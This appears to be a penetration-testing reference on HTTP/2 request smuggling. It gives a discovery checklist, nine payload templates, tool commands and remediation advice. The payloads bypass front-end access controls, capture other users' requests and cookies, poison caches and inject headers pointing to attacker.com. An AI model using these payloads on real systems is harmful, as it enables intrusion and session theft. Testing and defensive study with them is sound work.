HTTP/2 Request Smuggling
Severity: Critical | CWE: CWE-444 OWASP: A02:2021 – Cryptographic Failures / A05:2021 – Security Misconfiguration
What Is HTTP/2 Smuggling?
HTTP/2 uses a binary framing layer with explicit frame lengths — there is no Content-Length or Transfer-Encoding ambiguity within a true HTTP/2 connection. Smuggling occurs at the H2→H1 downgrade boundary: a front-end proxy accepts HTTP/2 but forwards to a back-end over HTTP/1.1. Two main attack variants:
H2.CL — Front-end ignores HTTP/2 framing length,
uses attacker-supplied Content-Length to forward to backend.
Backend processes CL but sees extra bytes as a new request.
H2.TE — Front-end strips Transfer-Encoding header received in H2,
but attacker-supplied TE header survives downgrade.
Backend sees chunked encoding → processes smuggled prefix.
H2.0 — HTTP/2 cleartext (h2c) upgrade smuggling
(CONNECT-based tunnel abuse)
Key difference from H1 smuggling: HTTP/2 headers are pseudo-headers (:method, :path, :scheme, :authority) — injecting newlines in header values can create entirely new HTTP/1.1 headers after downgrade.
Discovery Checklist
- Confirm front-end speaks HTTP/2 (use
curl --http2 -I https://target.com) - Confirm back-end downgrade to HTTP/1.1 (check
ViaorX-Forwarded-Protoheaders) - Test H2.CL: send H2 request with
content-lengthheader less than actual body - Test H2.TE: inject
transfer-encoding: chunkedas custom H2 header - Test header injection: embed CRLF
\r\nin H2 header values - Test request line injection via
:pathpseudo-header - Test h2c upgrade smuggling (CONNECT method)
- Use Burp Suite HTTP/2 Repeater (required — standard curl doesn’t expose H2 headers easily)
- Use
smuggler.pywith H2 mode - Look for timing differences (>5s gap vs normal response)
- Check if target uses nghttp2, envoy, nginx, haproxy, apache, IIS as front-end
Payload Library
Attack 1 — H2.CL (Content-Length Desync)
The front-end sees the full HTTP/2 frame, but forwards using the attacker-specified content-length which is shorter than the body. The leftover bytes are prepended to the next request.
# HTTP/2 request as seen by front-end (binary framing, full body):
:method POST
:path /
:scheme https
:authority target.com
content-type application/x-www-form-urlencoded
content-length 0 ← attacker sets CL=0 (or short value)
GET /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=1
# H2.CL basic detection — using Burp Repeater (HTTP/2 must be enabled):
# Set Content-Length header to 0 in HTTP/2 request
# Body:
# GET /404page HTTP/1.1
# Host: target.com
# Content-Length: 5
#
# x=1
#
# Send twice: 2nd request should hit /404page → confirms smuggling
# H2.CL to smuggle prefix:
POST / HTTP/2
Host: target.com
Content-Length: 0
[empty line]
GET /admin HTTP/1.1
Host: target.com
Attack 2 — H2.TE (Transfer-Encoding Injection)
Some front-ends pass custom headers including transfer-encoding through to the H1 back-end.
# HTTP/2 request with injected TE:
:method POST
:path /
:scheme https
:authority target.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked ← injected TE header
0
GET /admin HTTP/1.1
Host: target.com
X-Ignore: x
# H2.TE payload structure:
# Line 1: chunk size 0 (terminates chunked body for front-end)
# Line 2+: smuggled request prefix for backend
# Burp Suite HTTP/2 repeater payload:
# Add header: transfer-encoding: chunked
# Body:
# 0
#
# GET /admin HTTP/1.1
# Host: target.com
# Foo: bar
Attack 3 — CRLF Injection via H2 Header Values
HTTP/2 prohibits CRLF in header values, but some implementations don’t enforce this. When downgraded to H1.1, injected CRLFs create new headers.
# Inject newline in header value to add extra headers:
# H2 header:
foo: bar\r\nTransfer-Encoding: chunked
# Downgraded H1.1 becomes:
Foo: bar
Transfer-Encoding: chunked
# Inject into :path pseudo-header:
:path /page\r\nTransfer-Encoding: chunked
# After downgrade:
GET /page HTTP/1.1
Transfer-Encoding: chunked
...
# Using Burp HTTP/2 Inspector:
# In the header name or value field, use \r\n to inject new lines
# Burp allows editing raw H2 frames — inject null bytes or CRLF
# Test header name injection:
# Header: "foo: injected\r\nX-Extra: value"
# Test header value with embedded colon:
# Header name: "foo\r\nbar"
# curl with H2 CRLF injection (for testing, not all versions support):
curl --http2 -H $'x-test: val\r\nTransfer-Encoding: chunked' https://target.com/
Attack 4 — H2.0 / h2c Smuggling (Cleartext Upgrade)
Some proxies forward Upgrade: h2c requests to back-ends without sanitizing the upgrade. The backend establishes HTTP/2 cleartext, allowing tunnel-based smuggling.
# h2c upgrade request:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
# If proxy forwards this and backend supports h2c:
# → Attacker can tunnel arbitrary requests through the established H2 stream
# Tool: h2cSmuggler
git clone https://github.com/BishopFox/h2csmuggler
python3 h2csmuggler.py -x https://target.com/ https://target.com/admin
# Enumerate accessible internal paths via h2c tunnel:
python3 h2csmuggler.py -x https://target.com/ -t -w wordlist.txt
Attack 5 — Request Tunneling (Blind H2)
When the front-end uses a persistent HTTP/2 connection but the back-end gets separate H1 connections, full tunneling attacks work differently — the prefix is not shared with other users but can be used to bypass access controls.
# Tunnel a POST to read internal headers from backend:
POST /api/endpoint HTTP/2
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length of entire smuggled request]
GET /internal/admin HTTP/1.1
Host: backend.internal
Content-Length: 5
x=1
# Detect via HEAD request tunneling:
# Send HEAD + GET combo where backend processes the GET
# and includes the response body in HEAD reply
HEAD / HTTP/2
Host: target.com
[smuggle GET /admin in body via CL mismatch]
# Tunnel with connection persistence check:
# Legitimate response has CL X
# Smuggled response changes length → mismatch = indicator
Attack 6 — Bypass Front-End Access Controls
# Target: /admin requires IP allowlist at front-end, not at back-end
# H2.CL payload to smuggle admin request:
POST /harmless HTTP/2
Host: target.com
Content-Length: 0
GET /admin HTTP/1.1
Host: target.com
Content-Length: 30
GET / HTTP/1.1
Host: target.com
# With Burp Repeater in H2 mode:
# 1. Add "Content-Length: 0" header
# 2. Set body to:
# GET /admin HTTP/1.1
# Host: target.com
# X-Forwarded-For: 127.0.0.1
#
# 3. Send twice in rapid succession
# 4. Second request gets combined with smuggled prefix
Attack 7 — Capture Next User’s Request
# Smuggle request prefix that causes next victim's request
# to be appended to attacker-controlled endpoint:
POST /comment HTTP/2
Host: target.com
Content-Length: 0
POST /comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 800
body=stolen:
# The next victim's request headers (including cookies) are appended
# to this body and stored in the comment
# Retrieve captured data:
GET /comments?latest=1 HTTP/2
Host: target.com
Attack 8 — HTTP/2 Pseudo-Header Injection
# Inject into :scheme pseudo-header:
:scheme https\r\nTransfer-Encoding: chunked
# Inject into :authority:
:authority target.com\r\nX-Forwarded-Host: attacker.com
# Inject into :method:
:method GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\nGET
# → after downgrade, rewrites request path
# Path confusion with null byte:
:path /api%00/../admin
# Double-slash or encoded path bypass:
:path //admin
:path /api/%2e%2e/admin
Attack 9 — Cache Poisoning via H2 Smuggling
# Poison cache entry for /home with response from /admin:
POST / HTTP/2
Host: target.com
Content-Length: 0
GET /home HTTP/1.1
Host: target.com
X-Cache-Poison: 1
Content-Length: 30
GET /admin HTTP/1.1
Host: target.com
# Subsequent users requesting /home get the /admin response
# (if caching is present and not checking response integrity)
Tools
# Burp Suite (essential for H2 smuggling):
# - Enable HTTP/2 in Project Options > HTTP > HTTP/2
# - Use Repeater with HTTP/2 protocol selected
# - "HTTP Request Smuggler" Burp extension (BApp Store)
# - Inspect/modify H2 frames in HTTP/2 Inspector tab
# smuggler.py — automated H2 smuggling detection:
git clone https://github.com/defparam/smuggler
python3 smuggler.py -u https://target.com/ --http2
# h2cSmuggler — h2c cleartext upgrade attacks:
git clone https://github.com/BishopFox/h2csmuggler
python3 h2csmuggler.py --help
# nghttp2 — low-level H2 frame inspection:
apt install nghttp2-client
nghttp -v https://target.com/ # verbose H2 frames
nghttp -H ":method: POST" -d /tmp/body https://target.com/
# curl with H2:
curl --http2 -v https://target.com/ # force HTTP/2
curl --http2-prior-knowledge https://target.com/ # skip ALPN negotiation
# Detect H2 support:
curl -sI --http2 https://target.com/ | grep -i "http/2\|via\|upgrade"
openssl s_client -connect target.com:443 -alpn h2 # check ALPN negotiation
# Python h2 library for custom frame injection:
pip3 install h2 hyper
python3 -c "import h2; print(h2.__version__)"
Remediation Reference
- End-to-end HTTP/2: use HTTP/2 throughout — do not downgrade to H1.1 at the back-end
- Normalize H2 headers: reject requests with
\r\nin header names/values before downgrade - Strip hop-by-hop headers: remove
Transfer-Encodingfrom H2 requests before forwarding - Reject ambiguous Content-Length: if Content-Length mismatches H2 DATA frame length, reject
- Disable h2c upgrade on proxies unless explicitly required
- Use consistent server stack: single-vendor proxy+backend reduces desync risk
- HAProxy: use
option http-server-close+http-request deny iffor anomalous CL values
Part of the Web Application Penetration Testing Methodology series.